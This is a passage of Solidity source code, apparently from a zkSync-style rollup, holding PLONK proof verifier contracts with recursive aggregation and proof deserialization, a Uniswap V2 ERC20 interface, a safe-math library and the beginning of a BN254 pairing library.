beta*perm_a + gamma)*()*()*(d(z) + gamma) * z(x*omega) } function aggregate_commitments( PartialVerifierState memory state, Proof memory proof, VerificationKey memory vk ) internal view returns (PairingsBn254.G1Point[2] memory res) { PairingsBn254.G1Point memory d = reconstruct_linearization_commitment(state, proof, vk); PairingsBn254.Fr memory z_in_domain_size = state.z.pow(vk.domain_size); PairingsBn254.G1Point memory tmp_g1 = PairingsBn254.P1(); PairingsBn254.Fr memory aggregation_challenge = PairingsBn254.new_fr(1); PairingsBn254.G1Point memory commitment_aggregation = PairingsBn254.copy_g1(proof.quotient_poly_commitments[0]); PairingsBn254.Fr memory tmp_fr = PairingsBn254.new_fr(1); for (uint i = 1; i < proof.quotient_poly_commitments.length; i++) { tmp_fr.mul_assign(z_in_domain_size); tmp_g1 = proof.quotient_poly_commitments[i].point_mul(tmp_fr); commitment_aggregation.point_add_assign(tmp_g1); } aggregation_challenge.mul_assign(state.v); commitment_aggregation.point_add_assign(d); for (uint i = 0; i < proof.wire_commitments.length; i++) { aggregation_challenge.mul_assign(state.v); tmp_g1 = proof.wire_commitments[i].point_mul(aggregation_challenge); commitment_aggregation.point_add_assign(tmp_g1); } for (uint i = 0; i < NUM_GATE_SELECTORS_OPENED_EXPLICITLY; i++) { aggregation_challenge.mul_assign(state.v); tmp_g1 = vk.gate_selector_commitments[i].point_mul(aggregation_challenge); commitment_aggregation.point_add_assign(tmp_g1); } for (uint i = 0; i < vk.copy_permutation_commitments.length - 1; i++) { aggregation_challenge.mul_assign(state.v); tmp_g1 = vk.copy_permutation_commitments[i].point_mul(aggregation_challenge); commitment_aggregation.point_add_assign(tmp_g1); } aggregation_challenge.mul_assign(state.v); // now do prefactor for grand_product(x*omega) tmp_fr.assign(aggregation_challenge); tmp_fr.mul_assign(state.u); commitment_aggregation.point_add_assign(proof.copy_permutation_grand_product_commitment.point_mul(tmp_fr)); aggregation_challenge.mul_assign(state.v); tmp_fr.assign(aggregation_challenge); tmp_fr.mul_assign(state.u); tmp_g1 = proof.wire_commitments[STATE_WIDTH - 1].point_mul(tmp_fr); commitment_aggregation.point_add_assign(tmp_g1); // collect opening values aggregation_challenge = PairingsBn254.new_fr(1); PairingsBn254.Fr memory aggregated_value = PairingsBn254.copy(proof.quotient_polynomial_at_z); aggregation_challenge.mul_assign(state.v); tmp_fr.assign(proof.linearization_polynomial_at_z); tmp_fr.mul_assign(aggregation_challenge); aggregated_value.add_assign(tmp_fr); for (uint i = 0; i < proof.wire_values_at_z.length; i++) { aggregation_challenge.mul_assign(state.v); tmp_fr.assign(proof.wire_values_at_z[i]); tmp_fr.mul_assign(aggregation_challenge); aggregated_value.add_assign(tmp_fr); } for (uint i = 0; i < proof.gate_selector_values_at_z.length; i++) { aggregation_challenge.mul_assign(state.v); tmp_fr.assign(proof.gate_selector_values_at_z[i]); tmp_fr.mul_assign(aggregation_challenge); aggregated_value.add_assign(tmp_fr); } for (uint i = 0; i < proof.permutation_polynomials_at_z.length; i++) { aggregation_challenge.mul_assign(state.v); tmp_fr.assign(proof.permutation_polynomials_at_z[i]); tmp_fr.mul_assign(aggregation_challenge); aggregated_value.add_assign(tmp_fr); } aggregation_challenge.mul_assign(state.v); tmp_fr.assign(proof.copy_grand_product_at_z_omega); tmp_fr.mul_assign(aggregation_challenge); tmp_fr.mul_assign(state.u); aggregated_value.add_assign(tmp_fr); aggregation_challenge.mul_assign(state.v); tmp_fr.assign(proof.wire_values_at_z_omega[0]); tmp_fr.mul_assign(aggregation_challenge); tmp_fr.mul_assign(state.u); aggregated_value.add_assign(tmp_fr); commitment_aggregation.point_sub_assign(PairingsBn254.P1().point_mul(aggregated_value)); PairingsBn254.G1Point memory pair_with_generator = commitment_aggregation; pair_with_generator.point_add_assign(proof.opening_at_z_proof.point_mul(state.z)); tmp_fr.assign(state.z); tmp_fr.mul_assign(vk.omega); tmp_fr.mul_assign(state.u); pair_with_generator.point_add_assign(proof.opening_at_z_omega_proof.point_mul(tmp_fr)); PairingsBn254.G1Point memory pair_with_x = proof.opening_at_z_omega_proof.point_mul(state.u); pair_with_x.point_add_assign(proof.opening_at_z_proof); pair_with_x.negate(); res[0] = pair_with_generator; res[1] = pair_with_x; return res; } function verify_initial( PartialVerifierState memory state, Proof memory proof, VerificationKey memory vk ) internal view returns (bool) { require(proof.input_values.length == vk.num_inputs); require(vk.num_inputs == 1); TranscriptLibrary.Transcript memory transcript = TranscriptLibrary.new_transcript(); for (uint256 i = 0; i < vk.num_inputs; i++) { transcript.update_with_u256(proof.input_values[i]); } for (uint256 i = 0; i < proof.wire_commitments.length; i++) { transcript.update_with_g1(proof.wire_commitments[i]); } state.beta = transcript.get_challenge(); state.gamma = transcript.get_challenge(); transcript.update_with_g1(proof.copy_permutation_grand_product_commitment); state.alpha = transcript.get_challenge(); for (uint256 i = 0; i < proof.quotient_poly_commitments.length; i++) { transcript.update_with_g1(proof.quotient_poly_commitments[i]); } state.z = transcript.get_challenge(); state.cached_lagrange_evals = new PairingsBn254.Fr[](1); state.cached_lagrange_evals[0] = evaluate_lagrange_poly_out_of_domain( 0, vk.domain_size, vk.omega, state.z ); bool valid = verify_at_z(state, proof, vk); if (valid == false) { return false; } transcript.update_with_fr(proof.quotient_polynomial_at_z); for (uint256 i = 0; i < proof.wire_values_at_z.length; i++) { transcript.update_with_fr(proof.wire_values_at_z[i]); } for (uint256 i = 0; i < proof.wire_values_at_z_omega.length; i++) { transcript.update_with_fr(proof.wire_values_at_z_omega[i]); } transcript.update_with_fr(proof.gate_selector_values_at_z[0]); for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) { transcript.update_with_fr(proof.permutation_polynomials_at_z[i]); } transcript.update_with_fr(proof.copy_grand_product_at_z_omega); transcript.update_with_fr(proof.linearization_polynomial_at_z); state.v = transcript.get_challenge(); transcript.update_with_g1(proof.opening_at_z_proof); transcript.update_with_g1(proof.opening_at_z_omega_proof); state.u = transcript.get_challenge(); return true; } // This verifier is for a PLONK with a state width 4 // and main gate equation // q_a(X) * a(X) + // q_b(X) * b(X) + // q_c(X) * c(X) + // q_d(X) * d(X) + // q_m(X) * a(X) * b(X) + // q_constants(X)+ // q_d_next(X) * d(X*omega) // where q_{}(X) are selectors a, b, c, d - state (witness) polynomials // q_d_next(X) "peeks" into the next row of the trace, so it takes // the same d(X) polynomial, but shifted function aggregate_for_verification(Proof memory proof, VerificationKey memory vk) internal view returns (bool valid, PairingsBn254.G1Point[2] memory part) { PartialVerifierState memory state; valid = verify_initial(state, proof, vk); if (valid == false) { return (valid, part); } part = aggregate_commitments(state, proof, vk); (valid, part); } function verify(Proof memory proof, VerificationKey memory vk) internal view returns (bool) { (bool valid, PairingsBn254.G1Point[2] memory recursive_proof_part) = aggregate_for_verification(proof, vk); if (valid == false) { return false; } valid = PairingsBn254.pairingProd2(recursive_proof_part[0], PairingsBn254.P2(), recursive_proof_part[1], vk.g2_x); return valid; } function verify_recursive( Proof memory proof, VerificationKey memory vk, uint256 recursive_vks_root, uint8 max_valid_index, uint8[] memory recursive_vks_indexes, uint256[] memory individual_vks_inputs, uint256[] memory subproofs_limbs ) internal view returns (bool) { (uint256 recursive_input, PairingsBn254.G1Point[2] memory aggregated_g1s) = reconstruct_recursive_public_input( recursive_vks_root, max_valid_index, recursive_vks_indexes, individual_vks_inputs, subproofs_limbs ); assert(recursive_input == proof.input_values[0]); (bool valid, PairingsBn254.G1Point[2] memory recursive_proof_part) = aggregate_for_verification(proof, vk); if (valid == false) { return false; } // aggregated_g1s = inner // recursive_proof_part = outer PairingsBn254.G1Point[2] memory combined = combine_inner_and_outer(aggregated_g1s, recursive_proof_part); valid = PairingsBn254.pairingProd2(combined[0], PairingsBn254.P2(), combined[1], vk.g2_x); return valid; } function combine_inner_and_outer(PairingsBn254.G1Point[2] memory inner, PairingsBn254.G1Point[2] memory outer) internal view returns (PairingsBn254.G1Point[2] memory result) { // reuse the transcript primitive TranscriptLibrary.Transcript memory transcript = TranscriptLibrary.new_transcript(); transcript.update_with_g1(inner[0]); transcript.update_with_g1(inner[1]); transcript.update_with_g1(outer[0]); transcript.update_with_g1(outer[1]); PairingsBn254.Fr memory challenge = transcript.get_challenge(); // 1 * inner + challenge * outer result[0] = PairingsBn254.copy_g1(inner[0]); result[1] = PairingsBn254.copy_g1(inner[1]); PairingsBn254.G1Point memory tmp = outer[0].point_mul(challenge); result[0].point_add_assign(tmp); tmp = outer[1].point_mul(challenge); result[1].point_add_assign(tmp); return result; } function reconstruct_recursive_public_input( uint256 recursive_vks_root, uint8 max_valid_index, uint8[] memory recursive_vks_indexes, uint256[] memory individual_vks_inputs, uint256[] memory subproofs_aggregated ) internal pure returns (uint256 recursive_input, PairingsBn254.G1Point[2] memory reconstructed_g1s) { assert(recursive_vks_indexes.length == individual_vks_inputs.length); bytes memory concatenated = abi.encodePacked(recursive_vks_root); uint8 index; for (uint256 i = 0; i < recursive_vks_indexes.length; i++) { index = recursive_vks_indexes[i]; assert(index <= max_valid_index); concatenated = abi.encodePacked(concatenated, index); } uint256 input; for (uint256 i = 0; i < recursive_vks_indexes.length; i++) { input = individual_vks_inputs[i]; assert(input < r_mod); concatenated = abi.encodePacked(concatenated, input); } concatenated = abi.encodePacked(concatenated, subproofs_aggregated); bytes32 commitment = sha256(concatenated); recursive_input = uint256(commitment) & RECURSIVE_CIRCUIT_INPUT_COMMITMENT_MASK; reconstructed_g1s[0] = PairingsBn254.new_g1_checked( subproofs_aggregated[0] + (subproofs_aggregated[1] << LIMB_WIDTH) + (subproofs_aggregated[2] << 2*LIMB_WIDTH) + (subproofs_aggregated[3] << 3*LIMB_WIDTH), subproofs_aggregated[4] + (subproofs_aggregated[5] << LIMB_WIDTH) + (subproofs_aggregated[6] << 2*LIMB_WIDTH) + (subproofs_aggregated[7] << 3*LIMB_WIDTH) ); reconstructed_g1s[1] = PairingsBn254.new_g1_checked( subproofs_aggregated[8] + (subproofs_aggregated[9] << LIMB_WIDTH) + (subproofs_aggregated[10] << 2*LIMB_WIDTH) + (subproofs_aggregated[11] << 3*LIMB_WIDTH), subproofs_aggregated[12] + (subproofs_aggregated[13] << LIMB_WIDTH) + (subproofs_aggregated[14] << 2*LIMB_WIDTH) + (subproofs_aggregated[15] << 3*LIMB_WIDTH) ); return (recursive_input, reconstructed_g1s); } } contract AggVerifierWithDeserialize is Plonk4AggVerifierWithAccessToDNext { uint256 constant SERIALIZED_PROOF_LENGTH = 34; function deserialize_proof( uint256[] memory public_inputs, uint256[] memory serialized_proof ) internal pure returns(Proof memory proof) { require(serialized_proof.length == SERIALIZED_PROOF_LENGTH); proof.input_values = new uint256[](public_inputs.length); for (uint256 i = 0; i < public_inputs.length; i++) { proof.input_values[i] = public_inputs[i]; } uint256 j = 0; for (uint256 i = 0; i < STATE_WIDTH; i++) { proof.wire_commitments[i] = PairingsBn254.new_g1_checked( serialized_proof[j], serialized_proof[j+1] ); j += 2; } proof.copy_permutation_grand_product_commitment = PairingsBn254.new_g1_checked( serialized_proof[j], serialized_proof[j+1] ); j += 2; for (uint256 i = 0; i < STATE_WIDTH; i++) { proof.quotient_poly_commitments[i] = PairingsBn254.new_g1_checked( serialized_proof[j], serialized_proof[j+1] ); j += 2; } for (uint256 i = 0; i < STATE_WIDTH; i++) { proof.wire_values_at_z[i] = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; } for (uint256 i = 0; i < proof.wire_values_at_z_omega.length; i++) { proof.wire_values_at_z_omega[i] = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; } for (uint256 i = 0; i < proof.gate_selector_values_at_z.length; i++) { proof.gate_selector_values_at_z[i] = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; } for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) { proof.permutation_polynomials_at_z[i] = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; } proof.copy_grand_product_at_z_omega = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; proof.quotient_polynomial_at_z = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; proof.linearization_polynomial_at_z = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; proof.opening_at_z_proof = PairingsBn254.new_g1_checked( serialized_proof[j], serialized_proof[j+1] ); j += 2; proof.opening_at_z_omega_proof = PairingsBn254.new_g1_checked( serialized_proof[j], serialized_proof[j+1] ); } function verify_serialized_proof( uint256[] memory public_inputs, uint256[] memory serialized_proof, VerificationKey memory vk ) public view returns (bool) { require(vk.num_inputs == public_inputs.length); Proof memory proof = deserialize_proof(public_inputs, serialized_proof); bool valid = verify(proof, vk); return valid; } function verify_serialized_proof_with_recursion( uint256[] memory public_inputs, uint256[] memory serialized_proof, uint256 recursive_vks_root, uint8 max_valid_index, uint8[] memory recursive_vks_indexes, uint256[] memory individual_vks_inputs, uint256[] memory subproofs_limbs, VerificationKey memory vk ) public view returns (bool) { require(vk.num_inputs == public_inputs.length); Proof memory proof = deserialize_proof(public_inputs, serialized_proof); bool valid = verify_recursive(proof, vk, recursive_vks_root, max_valid_index, recursive_vks_indexes, individual_vks_inputs, subproofs_limbs); return valid; } } pragma solidity >=0.5.0 <0.7.0; import "./PlonkCoreLib.sol"; contract Plonk4SingleVerifierWithAccessToDNext { using PairingsBn254 for PairingsBn254.G1Point; using PairingsBn254 for PairingsBn254.G2Point; using PairingsBn254 for PairingsBn254.Fr; using TranscriptLibrary for TranscriptLibrary.Transcript; uint256 constant STATE_WIDTH = 4; uint256 constant ACCESSIBLE_STATE_POLYS_ON_NEXT_STEP = 1; struct VerificationKey { uint256 domain_size; uint256 num_inputs; PairingsBn254.Fr omega; PairingsBn254.G1Point[STATE_WIDTH+2] selector_commitments; // STATE_WIDTH for witness + multiplication + constant PairingsBn254.G1Point[ACCESSIBLE_STATE_POLYS_ON_NEXT_STEP] next_step_selector_commitments; PairingsBn254.G1Point[STATE_WIDTH] permutation_commitments; PairingsBn254.Fr[STATE_WIDTH-1] permutation_non_residues; PairingsBn254.G2Point g2_x; } struct Proof { uint256[] input_values; PairingsBn254.G1Point[STATE_WIDTH] wire_commitments; PairingsBn254.G1Point grand_product_commitment; PairingsBn254.G1Point[STATE_WIDTH] quotient_poly_commitments; PairingsBn254.Fr[STATE_WIDTH] wire_values_at_z; PairingsBn254.Fr[ACCESSIBLE_STATE_POLYS_ON_NEXT_STEP] wire_values_at_z_omega; PairingsBn254.Fr grand_product_at_z_omega; PairingsBn254.Fr quotient_polynomial_at_z; PairingsBn254.Fr linearization_polynomial_at_z; PairingsBn254.Fr[STATE_WIDTH-1] permutation_polynomials_at_z; PairingsBn254.G1Point opening_at_z_proof; PairingsBn254.G1Point opening_at_z_omega_proof; } struct PartialVerifierState { PairingsBn254.Fr alpha; PairingsBn254.Fr beta; PairingsBn254.Fr gamma; PairingsBn254.Fr v; PairingsBn254.Fr u; PairingsBn254.Fr z; PairingsBn254.Fr[] cached_lagrange_evals; } function evaluate_lagrange_poly_out_of_domain( uint256 poly_num, uint256 domain_size, PairingsBn254.Fr memory omega, PairingsBn254.Fr memory at ) internal view returns (PairingsBn254.Fr memory res) { require(poly_num < domain_size); PairingsBn254.Fr memory one = PairingsBn254.new_fr(1); PairingsBn254.Fr memory omega_power = omega.pow(poly_num); res = at.pow(domain_size); res.sub_assign(one); require(res.value != 0); // Vanishing polynomial can not be zero at point `at` res.mul_assign(omega_power); PairingsBn254.Fr memory den = PairingsBn254.copy(at); den.sub_assign(omega_power); den.mul_assign(PairingsBn254.new_fr(domain_size)); den = den.inverse(); res.mul_assign(den); } function evaluate_vanishing( uint256 domain_size, PairingsBn254.Fr memory at ) internal view returns (PairingsBn254.Fr memory res) { res = at.pow(domain_size); res.sub_assign(PairingsBn254.new_fr(1)); } function verify_at_z( PartialVerifierState memory state, Proof memory proof, VerificationKey memory vk ) internal view returns (bool) { PairingsBn254.Fr memory lhs = evaluate_vanishing(vk.domain_size, state.z); require(lhs.value != 0); // we can not check a polynomial relationship if point `z` is in the domain lhs.mul_assign(proof.quotient_polynomial_at_z); PairingsBn254.Fr memory quotient_challenge = PairingsBn254.new_fr(1); PairingsBn254.Fr memory rhs = PairingsBn254.copy(proof.linearization_polynomial_at_z); // public inputs PairingsBn254.Fr memory tmp = PairingsBn254.new_fr(0); for (uint256 i = 0; i < proof.input_values.length; i++) { tmp.assign(state.cached_lagrange_evals[i]); tmp.mul_assign(PairingsBn254.new_fr(proof.input_values[i])); rhs.add_assign(tmp); } quotient_challenge.mul_assign(state.alpha); PairingsBn254.Fr memory z_part = PairingsBn254.copy(proof.grand_product_at_z_omega); for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) { tmp.assign(proof.permutation_polynomials_at_z[i]); tmp.mul_assign(state.beta); tmp.add_assign(state.gamma); tmp.add_assign(proof.wire_values_at_z[i]); z_part.mul_assign(tmp); } tmp.assign(state.gamma); // we need a wire value of the last polynomial in enumeration tmp.add_assign(proof.wire_values_at_z[STATE_WIDTH - 1]); z_part.mul_assign(tmp); z_part.mul_assign(quotient_challenge); rhs.sub_assign(z_part); quotient_challenge.mul_assign(state.alpha); tmp.assign(state.cached_lagrange_evals[0]); tmp.mul_assign(quotient_challenge); rhs.sub_assign(tmp); return lhs.value == rhs.value; } function reconstruct_d( PartialVerifierState memory state, Proof memory proof, VerificationKey memory vk ) internal view returns (PairingsBn254.G1Point memory res) { // we compute what power of v is used as a delinearization factor in batch opening of // commitments. Let's label W(x) = 1 / (x - z) * // [ // t_0(x) + z^n * t_1(x) + z^2n * t_2(x) + z^3n * t_3(x) - t(z) // + v (r(x) - r(z)) // + v^{2..5} * (witness(x) - witness(z)) // + v^(6..8) * (permutation(x) - permutation(z)) // ] // W'(x) = 1 / (x - z*omega) * // [ // + v^9 (z(x) - z(z*omega)) <- we need this power // + v^10 * (d(x) - d(z*omega)) // ] // // we pay a little for a few arithmetic operations to not introduce another constant uint256 power_for_z_omega_opening = 1 + 1 + STATE_WIDTH + STATE_WIDTH - 1; res = PairingsBn254.copy_g1(vk.selector_commitments[STATE_WIDTH + 1]); PairingsBn254.G1Point memory tmp_g1 = PairingsBn254.P1(); PairingsBn254.Fr memory tmp_fr = PairingsBn254.new_fr(0); // addition gates for (uint256 i = 0; i < STATE_WIDTH; i++) { tmp_g1 = vk.selector_commitments[i].point_mul(proof.wire_values_at_z[i]); res.point_add_assign(tmp_g1); } // multiplication gate tmp_fr.assign(proof.wire_values_at_z[0]); tmp_fr.mul_assign(proof.wire_values_at_z[1]); tmp_g1 = vk.selector_commitments[STATE_WIDTH].point_mul(tmp_fr); res.point_add_assign(tmp_g1); // d_next tmp_g1 = vk.next_step_selector_commitments[0].point_mul(proof.wire_values_at_z_omega[0]); res.point_add_assign(tmp_g1); // z * non_res * beta + gamma + a PairingsBn254.Fr memory grand_product_part_at_z = PairingsBn254.copy(state.z); grand_product_part_at_z.mul_assign(state.beta); grand_product_part_at_z.add_assign(proof.wire_values_at_z[0]); grand_product_part_at_z.add_assign(state.gamma); for (uint256 i = 0; i < vk.permutation_non_residues.length; i++) { tmp_fr.assign(state.z); tmp_fr.mul_assign(vk.permutation_non_residues[i]); tmp_fr.mul_assign(state.beta); tmp_fr.add_assign(state.gamma); tmp_fr.add_assign(proof.wire_values_at_z[i+1]); grand_product_part_at_z.mul_assign(tmp_fr); } grand_product_part_at_z.mul_assign(state.alpha); tmp_fr.assign(state.cached_lagrange_evals[0]); tmp_fr.mul_assign(state.alpha); tmp_fr.mul_assign(state.alpha); grand_product_part_at_z.add_assign(tmp_fr); PairingsBn254.Fr memory grand_product_part_at_z_omega = state.v.pow(power_for_z_omega_opening); grand_product_part_at_z_omega.mul_assign(state.u); PairingsBn254.Fr memory last_permutation_part_at_z = PairingsBn254.new_fr(1); for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) { tmp_fr.assign(state.beta); tmp_fr.mul_assign(proof.permutation_polynomials_at_z[i]); tmp_fr.add_assign(state.gamma); tmp_fr.add_assign(proof.wire_values_at_z[i]); last_permutation_part_at_z.mul_assign(tmp_fr); } last_permutation_part_at_z.mul_assign(state.beta); last_permutation_part_at_z.mul_assign(proof.grand_product_at_z_omega); last_permutation_part_at_z.mul_assign(state.alpha); // add to the linearization tmp_g1 = proof.grand_product_commitment.point_mul(grand_product_part_at_z); tmp_g1.point_sub_assign(vk.permutation_commitments[STATE_WIDTH - 1].point_mul(last_permutation_part_at_z)); res.point_add_assign(tmp_g1); res.point_mul_assign(state.v); res.point_add_assign(proof.grand_product_commitment.point_mul(grand_product_part_at_z_omega)); } function verify_commitments( PartialVerifierState memory state, Proof memory proof, VerificationKey memory vk ) internal view returns (bool) { PairingsBn254.G1Point memory d = reconstruct_d(state, proof, vk); PairingsBn254.Fr memory z_in_domain_size = state.z.pow(vk.domain_size); PairingsBn254.G1Point memory tmp_g1 = PairingsBn254.P1(); PairingsBn254.Fr memory aggregation_challenge = PairingsBn254.new_fr(1); PairingsBn254.G1Point memory commitment_aggregation = PairingsBn254.copy_g1(proof.quotient_poly_commitments[0]); PairingsBn254.Fr memory tmp_fr = PairingsBn254.new_fr(1); for (uint i = 1; i < proof.quotient_poly_commitments.length; i++) { tmp_fr.mul_assign(z_in_domain_size); tmp_g1 = proof.quotient_poly_commitments[i].point_mul(tmp_fr); commitment_aggregation.point_add_assign(tmp_g1); } aggregation_challenge.mul_assign(state.v); commitment_aggregation.point_add_assign(d); for (uint i = 0; i < proof.wire_commitments.length; i++) { aggregation_challenge.mul_assign(state.v); tmp_g1 = proof.wire_commitments[i].point_mul(aggregation_challenge); commitment_aggregation.point_add_assign(tmp_g1); } for (uint i = 0; i < vk.permutation_commitments.length - 1; i++) { aggregation_challenge.mul_assign(state.v); tmp_g1 = vk.permutation_commitments[i].point_mul(aggregation_challenge); commitment_aggregation.point_add_assign(tmp_g1); } aggregation_challenge.mul_assign(state.v); aggregation_challenge.mul_assign(state.v); tmp_fr.assign(aggregation_challenge); tmp_fr.mul_assign(state.u); tmp_g1 = proof.wire_commitments[STATE_WIDTH - 1].point_mul(tmp_fr); commitment_aggregation.point_add_assign(tmp_g1); // collect opening values aggregation_challenge = PairingsBn254.new_fr(1); PairingsBn254.Fr memory aggregated_value = PairingsBn254.copy(proof.quotient_polynomial_at_z); aggregation_challenge.mul_assign(state.v); tmp_fr.assign(proof.linearization_polynomial_at_z); tmp_fr.mul_assign(aggregation_challenge); aggregated_value.add_assign(tmp_fr); for (uint i = 0; i < proof.wire_values_at_z.length; i++) { aggregation_challenge.mul_assign(state.v); tmp_fr.assign(proof.wire_values_at_z[i]); tmp_fr.mul_assign(aggregation_challenge); aggregated_value.add_assign(tmp_fr); } for (uint i = 0; i < proof.permutation_polynomials_at_z.length; i++) { aggregation_challenge.mul_assign(state.v); tmp_fr.assign(proof.permutation_polynomials_at_z[i]); tmp_fr.mul_assign(aggregation_challenge); aggregated_value.add_assign(tmp_fr); } aggregation_challenge.mul_assign(state.v); tmp_fr.assign(proof.grand_product_at_z_omega); tmp_fr.mul_assign(aggregation_challenge); tmp_fr.mul_assign(state.u); aggregated_value.add_assign(tmp_fr); aggregation_challenge.mul_assign(state.v); tmp_fr.assign(proof.wire_values_at_z_omega[0]); tmp_fr.mul_assign(aggregation_challenge); tmp_fr.mul_assign(state.u); aggregated_value.add_assign(tmp_fr); commitment_aggregation.point_sub_assign(PairingsBn254.P1().point_mul(aggregated_value)); PairingsBn254.G1Point memory pair_with_generator = commitment_aggregation; pair_with_generator.point_add_assign(proof.opening_at_z_proof.point_mul(state.z)); tmp_fr.assign(state.z); tmp_fr.mul_assign(vk.omega); tmp_fr.mul_assign(state.u); pair_with_generator.point_add_assign(proof.opening_at_z_omega_proof.point_mul(tmp_fr)); PairingsBn254.G1Point memory pair_with_x = proof.opening_at_z_omega_proof.point_mul(state.u); pair_with_x.point_add_assign(proof.opening_at_z_proof); pair_with_x.negate(); return PairingsBn254.pairingProd2(pair_with_generator, PairingsBn254.P2(), pair_with_x, vk.g2_x); } function verify_initial( PartialVerifierState memory state, Proof memory proof, VerificationKey memory vk ) internal view returns (bool) { require(proof.input_values.length == vk.num_inputs); require(vk.num_inputs == 1); TranscriptLibrary.Transcript memory transcript = TranscriptLibrary.new_transcript(); for (uint256 i = 0; i < vk.num_inputs; i++) { transcript.update_with_u256(proof.input_values[i]); } for (uint256 i = 0; i < proof.wire_commitments.length; i++) { transcript.update_with_g1(proof.wire_commitments[i]); } state.beta = transcript.get_challenge(); state.gamma = transcript.get_challenge(); transcript.update_with_g1(proof.grand_product_commitment); state.alpha = transcript.get_challenge(); for (uint256 i = 0; i < proof.quotient_poly_commitments.length; i++) { transcript.update_with_g1(proof.quotient_poly_commitments[i]); } state.z = transcript.get_challenge(); state.cached_lagrange_evals = new PairingsBn254.Fr[](1); state.cached_lagrange_evals[0] = evaluate_lagrange_poly_out_of_domain( 0, vk.domain_size, vk.omega, state.z ); bool valid = verify_at_z(state, proof, vk); if (valid == false) { return false; } for (uint256 i = 0; i < proof.wire_values_at_z.length; i++) { transcript.update_with_fr(proof.wire_values_at_z[i]); } for (uint256 i = 0; i < proof.wire_values_at_z_omega.length; i++) { transcript.update_with_fr(proof.wire_values_at_z_omega[i]); } for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) { transcript.update_with_fr(proof.permutation_polynomials_at_z[i]); } transcript.update_with_fr(proof.quotient_polynomial_at_z); transcript.update_with_fr(proof.linearization_polynomial_at_z); transcript.update_with_fr(proof.grand_product_at_z_omega); state.v = transcript.get_challenge(); transcript.update_with_g1(proof.opening_at_z_proof); transcript.update_with_g1(proof.opening_at_z_omega_proof); state.u = transcript.get_challenge(); return true; } // This verifier is for a PLONK with a state width 4 // and main gate equation // q_a(X) * a(X) + // q_b(X) * b(X) + // q_c(X) * c(X) + // q_d(X) * d(X) + // q_m(X) * a(X) * b(X) + // q_constants(X)+ // q_d_next(X) * d(X*omega) // where q_{}(X) are selectors a, b, c, d - state (witness) polynomials // q_d_next(X) "peeks" into the next row of the trace, so it takes // the same d(X) polynomial, but shifted function verify(Proof memory proof, VerificationKey memory vk) internal view returns (bool) { PartialVerifierState memory state; bool valid = verify_initial(state, proof, vk); if (valid == false) { return false; } valid = verify_commitments(state, proof, vk); return valid; } } contract SingleVerifierWithDeserialize is Plonk4SingleVerifierWithAccessToDNext { uint256 constant SERIALIZED_PROOF_LENGTH = 33; function deserialize_proof( uint256[] memory public_inputs, uint256[] memory serialized_proof ) internal pure returns(Proof memory proof) { require(serialized_proof.length == SERIALIZED_PROOF_LENGTH); proof.input_values = new uint256[](public_inputs.length); for (uint256 i = 0; i < public_inputs.length; i++) { proof.input_values[i] = public_inputs[i]; } uint256 j = 0; for (uint256 i = 0; i < STATE_WIDTH; i++) { proof.wire_commitments[i] = PairingsBn254.new_g1_checked( serialized_proof[j], serialized_proof[j+1] ); j += 2; } proof.grand_product_commitment = PairingsBn254.new_g1_checked( serialized_proof[j], serialized_proof[j+1] ); j += 2; for (uint256 i = 0; i < STATE_WIDTH; i++) { proof.quotient_poly_commitments[i] = PairingsBn254.new_g1_checked( serialized_proof[j], serialized_proof[j+1] ); j += 2; } for (uint256 i = 0; i < STATE_WIDTH; i++) { proof.wire_values_at_z[i] = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; } for (uint256 i = 0; i < proof.wire_values_at_z_omega.length; i++) { proof.wire_values_at_z_omega[i] = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; } proof.grand_product_at_z_omega = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; proof.quotient_polynomial_at_z = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; proof.linearization_polynomial_at_z = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; for (uint256 i = 0; i < proof.permutation_polynomials_at_z.length; i++) { proof.permutation_polynomials_at_z[i] = PairingsBn254.new_fr( serialized_proof[j] ); j += 1; } proof.opening_at_z_proof = PairingsBn254.new_g1_checked( serialized_proof[j], serialized_proof[j+1] ); j += 2; proof.opening_at_z_omega_proof = PairingsBn254.new_g1_checked( serialized_proof[j], serialized_proof[j+1] ); } } pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library UniswapSafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } pragma solidity >=0.5.0 <0.7.0; library PairingsBn254 { uint256 constant q_mod = 21888242871839275222246405745257275088696311157297823662689037894645226208583; uint256 constant r_mod = 21888242871839275222246405745257275088548364400416034343698204186575808495617; uint256 constant bn254_b_coeff = 3; struct G1Point { uint256 X; uint256 Y; } struct Fr { uint256 value; } function new_fr(uint256 fr) internal pure returns (Fr memory) { require(fr < r_mod); return Fr({value: fr}); } function copy(Fr memory self) internal pure returns (Fr memory n) { n.value = self.value; } function assign(Fr memory self, Fr memory other) internal pure { self.value = other.value; } function inverse(Fr memory fr) internal view returns (Fr memory) { require(fr.value != 0); return pow(fr, r_mod-2); } function add_assign(Fr memory self, Fr memory other) internal pure { self.value = addmod(self.value, other.value, 